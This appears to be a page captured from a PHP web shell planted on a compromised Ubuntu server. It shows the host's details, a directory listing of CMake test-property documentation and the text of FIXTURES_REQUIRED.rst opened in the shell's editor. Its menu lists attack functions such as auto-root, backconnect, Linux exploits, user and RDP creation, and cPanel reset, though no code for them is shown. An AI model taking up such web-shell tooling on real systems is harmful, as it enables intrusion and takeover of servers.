Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.16.70.193
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
cmake-3.16 /
Help /
prop_test /
[ HOME SHELL ]
Name
Size
Permission
Action
ATTACHED_FILES.rst
206
B
-rw-r--r--
ATTACHED_FILES_ON_FAIL.rst
218
B
-rw-r--r--
COST.rst
621
B
-rw-r--r--
DEPENDS.rst
467
B
-rw-r--r--
DISABLED.rst
712
B
-rw-r--r--
ENVIRONMENT.rst
323
B
-rw-r--r--
FAIL_REGULAR_EXPRESSION.rst
406
B
-rw-r--r--
FIXTURES_CLEANUP.rst
1.83
KB
-rw-r--r--
FIXTURES_REQUIRED.rst
4.8
KB
-rw-r--r--
FIXTURES_SETUP.rst
1.89
KB
-rw-r--r--
LABELS.rst
117
B
-rw-r--r--
MEASUREMENT.rst
286
B
-rw-r--r--
PASS_REGULAR_EXPRESSION.rst
483
B
-rw-r--r--
PROCESSORS.rst
679
B
-rw-r--r--
PROCESSOR_AFFINITY.rst
643
B
-rw-r--r--
REQUIRED_FILES.rst
155
B
-rw-r--r--
RESOURCE_GROUPS.rst
3.45
KB
-rw-r--r--
RESOURCE_LOCK.rst
805
B
-rw-r--r--
RUN_SERIAL.rst
233
B
-rw-r--r--
SKIP_REGULAR_EXPRESSION.rst
490
B
-rw-r--r--
SKIP_RETURN_CODE.rst
442
B
-rw-r--r--
TIMEOUT.rst
318
B
-rw-r--r--
TIMEOUT_AFTER_MATCH.rst
1.39
KB
-rw-r--r--
WILL_FAIL.rst
184
B
-rw-r--r--
WORKING_DIRECTORY.rst
328
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FIXTURES_REQUIRED.rst
FIXTURES_REQUIRED ----------------- Specifies a list of fixtures the test requires. Fixture names are case sensitive and they are not required to have any similarity to test names. Fixtures are a way to attach setup and cleanup tasks to a set of tests. If a test requires a given fixture, then all tests marked as setup tasks for that fixture will be executed first (once for the whole set of tests, not once per test requiring the fixture). After all tests requiring a particular fixture have completed, CTest will ensure all tests marked as cleanup tasks for that fixture are then executed. Tests are marked as setup tasks with the :prop_test:`FIXTURES_SETUP` property and as cleanup tasks with the :prop_test:`FIXTURES_CLEANUP` property. If any of a fixture's setup tests fail, all tests listing that fixture in their ``FIXTURES_REQUIRED`` property will not be executed. The cleanup tests for the fixture will always be executed, even if some setup tests fail. When CTest is asked to execute only a subset of tests (e.g. by the use of regular expressions or when run with the ``--rerun-failed`` command line option), it will automatically add any setup or cleanup tests for fixtures required by any of the tests that are in the execution set. This behavior can be overridden with the ``-FS``, ``-FC`` and ``-FA`` command line options to :manual:`ctest(1)` if desired. Since setup and cleanup tasks are also tests, they can have an ordering specified by the :prop_test:`DEPENDS` test property just like any other tests. This can be exploited to implement setup or cleanup using multiple tests for a single fixture to modularise setup or cleanup logic. The concept of a fixture is different to that of a resource specified by :prop_test:`RESOURCE_LOCK`, but they may be used together. A fixture defines a set of tests which share setup and cleanup requirements, whereas a resource lock has the effect of ensuring a particular set of tests do not run in parallel. Some situations may need both, such as setting up a database, serialising test access to that database and deleting the database again at the end. For such cases, tests would populate both ``FIXTURES_REQUIRED`` and :prop_test:`RESOURCE_LOCK` to combine the two behaviours. Names used for :prop_test:`RESOURCE_LOCK` have no relationship with names of fixtures, so note that a resource lock does not imply a fixture and vice versa. Consider the following example which represents a database test scenario similar to that mentioned above: .. code-block:: cmake add_test(NAME testsDone COMMAND emailResults) add_test(NAME fooOnly COMMAND testFoo) add_test(NAME dbOnly COMMAND testDb) add_test(NAME dbWithFoo COMMAND testDbWithFoo) add_test(NAME createDB COMMAND initDB) add_test(NAME setupUsers COMMAND userCreation) add_test(NAME cleanupDB COMMAND deleteDB) add_test(NAME cleanupFoo COMMAND removeFoos) set_tests_properties(setupUsers PROPERTIES DEPENDS createDB) set_tests_properties(createDB PROPERTIES FIXTURES_SETUP DB) set_tests_properties(setupUsers PROPERTIES FIXTURES_SETUP DB) set_tests_properties(cleanupDB PROPERTIES FIXTURES_CLEANUP DB) set_tests_properties(cleanupFoo PROPERTIES FIXTURES_CLEANUP Foo) set_tests_properties(testsDone PROPERTIES FIXTURES_CLEANUP "DB;Foo") set_tests_properties(fooOnly PROPERTIES FIXTURES_REQUIRED Foo) set_tests_properties(dbOnly PROPERTIES FIXTURES_REQUIRED DB) set_tests_properties(dbWithFoo PROPERTIES FIXTURES_REQUIRED "DB;Foo") set_tests_properties(dbOnly dbWithFoo createDB setupUsers cleanupDB PROPERTIES RESOURCE_LOCK DbAccess) Key points from this example: - Two fixtures are defined: ``DB`` and ``Foo``. Tests can require a single fixture as ``fooOnly`` and ``dbOnly`` do, or they can depend on multiple fixtures like ``dbWithFoo`` does. - A ``DEPENDS`` relationship is set up to ensure ``setupUsers`` happens after ``createDB``, both of which are setup tests for the ``DB`` fixture and will therefore be executed before the ``dbOnly`` and ``dbWithFoo`` tests automatically. - No explicit ``DEPENDS`` relationships were needed to make the setup tests run before or the cleanup tests run after the regular tests. - The ``Foo`` fixture has no setup tests defined, only a single cleanup test. - ``testsDone`` is a cleanup test for both the ``DB`` and ``Foo`` fixtures. Therefore, it will only execute once regular tests for both fixtures have finished (i.e. after ``fooOnly``, ``dbOnly`` and ``dbWithFoo``). No ``DEPENDS`` relationship was specified for ``testsDone``, so it is free to run before, after or concurrently with other cleanup tests for either fixture. - The setup and cleanup tests never list the fixtures they are for in their own ``FIXTURES_REQUIRED`` property, as that would result in a dependency on themselves and be considered an error.
Close